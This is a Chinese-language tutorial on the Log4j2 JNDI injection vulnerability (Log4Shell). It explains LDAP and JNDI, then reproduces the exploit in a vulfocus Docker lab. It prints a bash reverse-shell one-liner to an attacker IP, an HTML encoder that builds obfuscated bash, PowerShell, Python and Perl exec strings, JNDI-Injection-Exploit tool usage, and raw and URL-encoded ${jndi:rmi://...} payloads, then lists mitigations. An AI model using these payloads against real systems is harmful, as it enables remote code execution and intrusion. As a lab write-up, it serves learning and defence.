概念
log4j(log for java),Apache的開源日志記錄元件,使用非常廣泛
什麼是LDAP?
輕型目錄通路協定(Lightweight Directory Access Protocol,是一個開放的,中立的,工業标準的應用協定,通過IP協定提供通路控制和維護分布式資訊的目錄資訊。
目錄結構的優點:
假如有個一個資料庫,名叫職業,該資料庫有許多表如學生、老師、工程師...,表的字段也有許多,如姓名、性别、年齡...
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiI2EzX4xSZz91ZsAzNfRHLGZkRGZkRfJ3bs92YsAjMfVmepNHLykGT1YTMXFWQClGVF5UMR9Fd4VGdsATNfd3bkFGazxSUhxGatJGbwhFT1Y0Mk9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL5E2YwYzMwI2MjVDMxMjM5ATNxQTYhNDM1UmY1QjY1Q2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
假如有100條資料,其中包含工程師、學生、老師的資訊。
(1)不使用目錄結構存儲:所有人的職業資訊都存在一張表中,順序雜亂無章,想要查詢資訊就需要從第一條開始周遊。如果資料在最後一條,需要查詢100次。
(2)使用目錄結構:那麼100條資料就分布在三個表中,隻需要查詢其中的一個表就可得到結果,查詢效率就高了
什麼是JNDI?
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種标準的Java命名系統接口,JNDI提供統一的用戶端API,通過不同的通路提供者接口JNDI服務供應接口(SPI)的實作,由管理者将JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行互動。
通俗點講,就是通過名字去尋找對應的資源、位置、服務、對象......當資料源發生變化時,隻需要修改資料源就可以了。
下面用例子來解釋下它的原理以及優點
例:
- 在資料庫的操作中,傳統的連接配接方式肯定是除了提供資料源的資訊(如資料庫類型、端口、使用者名、密碼)外,還需要導入對應的包和類名,才能調用相應的資料庫驅動進行連接配接。比如JDBC,如果資料庫從mysql變成了mssql是不是就需要對以上資訊修改,如果僅僅是改動配置檔案的資料庫資訊還好說,但是,那些進行了資料庫操作的java檔案,肯定也需要重新導入相應的驅動和類,在大項目中就顯得非常的麻煩了。那有沒有一種方法,隻需要更改配置檔案的資料源就可以了呢?
- 是以,JNDI提供這樣的服務,在配置資料源時,對資料源進行命名,當需要進行資料庫操作時,隻需要提供資料源的名稱即可。如果資料庫的配置發生變化時,開發人員隻需要改變資料源你的資訊,其他的都交給JNDI去管,我們隻要保證資料源的命名不變就可以了。
如果要說JNDI具體的作用是什麼,我認為就相當于一個管理部門,而它的職責是對目标資源進行統一調配和管理,當通路者需要調配資源時,隻需要提供資源的名字,剩下的都交給JNDI去實作即可。
比如:有這樣一個場景,當向銀行申請貸款時,銀行需要對貸款人的資訊進行評估(如貸款人的職業、月收入,信用怎麼樣,是不是老賴,有沒有過借錢不還的案例),進而決定是否同意貸款。如果這些資訊都需要銀行去收集并驗證真實性,就會非常的麻煩,甚至還有可能收集的情況不真實。那麼,能不能有這樣一個部門,隻要銀行向該部門提供貸款人的姓名和身份證号就可以得到貸款人的信用結果呢?而這個部門就扮演着JNDI的角色。。。
而秘書,也扮演着JNDI的角色,老闆需要什麼資料、找哪個員工,隻要提供名字就行,剩下的秘書去解決就行了。
JNDI實作原理
JNDI通過lookup()方法解析接收自應用程式的資訊,進而去對應的服務(如LDAP、RMI、DNS、檔案系統、目錄服務...)查找資源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua
}
log4j2漏洞原理
- ${jndi:ldap:192.168.96.1:1099/shell
}
shell
http://192.168.96.1/#
其中wqiyua為惡意腳本
- 當使用者輸入資訊時,應用程式中的log4j2元件會将資訊記錄到日志中
- 假如日志中含有該語句${jndi:ldap:192.168.96.1:1099/shell
,log4j就會去解析該資訊,通過jndi的lookup()方法去解析該URL:ldap:192.168.96.1:1099/shell}
- 解析到ldap,就會去192.168.96.1:1099的ldap服務找名為shell的資源,如果找不到就會去http服務中找
- 在http中找到shell之後,就會将資源資訊傳回給應用程式的log4j元件,而log4j元件就會下載下傳下來,然後發現shell是一個.class檔案,就會去執行裡面的代碼,進而實作注入
- 攻擊者就可以通過shell實作任意的指令執行,造成嚴重危害
搭建靶場:
docker pull vulfocus/log4j2-rce-2021-12-09 //拉取靶場鏡像
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 //運作靶場鏡像
搭建成功!
利用漏洞
已經漏洞存在的情況下,構造攻擊payload執行指令反彈shell
bash -i >& /dev/tcp/192.168.96.166/1234 0>&1
由于Runtime執行linux指令時管道符不生效,是以需要将指令進行加密
使用下面的html腳本生成即可
<!DOCTYPE html>
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>
這裡選用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下載下傳位址:直接百度搜,或者去GitHub上面搜尋即可
連結:https://pan.baidu.com/s/1Ux6akr2Ynk9pq5uyZC97tg
提取碼:0000
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反彈shell指令" -A "該IP是開啟JDNI服務的主機位址"
通過netcat監聽1234端口:
利用漏洞位址去通路本地的JNDI服務
payload=${jndi:rmi://192.168.96.1:1099/wqiyua}
這裡需要将payload進行編碼
payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.96.1%3A1099%2Fwqiyua%7D
成功反彈!
分析原理:
日志中包含
${}
,lookup就會去解析括号裡面的内容,
如:攻擊payload : ${jndi:rmi:192.168.96.1:1099/wqiyua
}
當lookup解析到jndi時,就會調用jndi并利用rmi,執行攻擊機jndi服務下的class檔案并執行,進而造成任意指令執行漏洞
修複與防禦
- 禁止使用者輸入的參數中出現攻擊關鍵字(過濾使用者輸入)
- 禁止lookup下載下傳遠端檔案(命名應用)
- 禁止log4j的應用去連接配接外網
- 禁止log4j使用lookup方法
- 從log4j 的jar包總删除lookup(2.10以下版本)
- 更新到最新版本
- 使用waf
參考資料
log4j2漏洞利用vulfocus-CVE-2021-44228 - 三億人 - 部落格園
通過vulfocus靶場複現log4j2-rce漏洞 - 簡書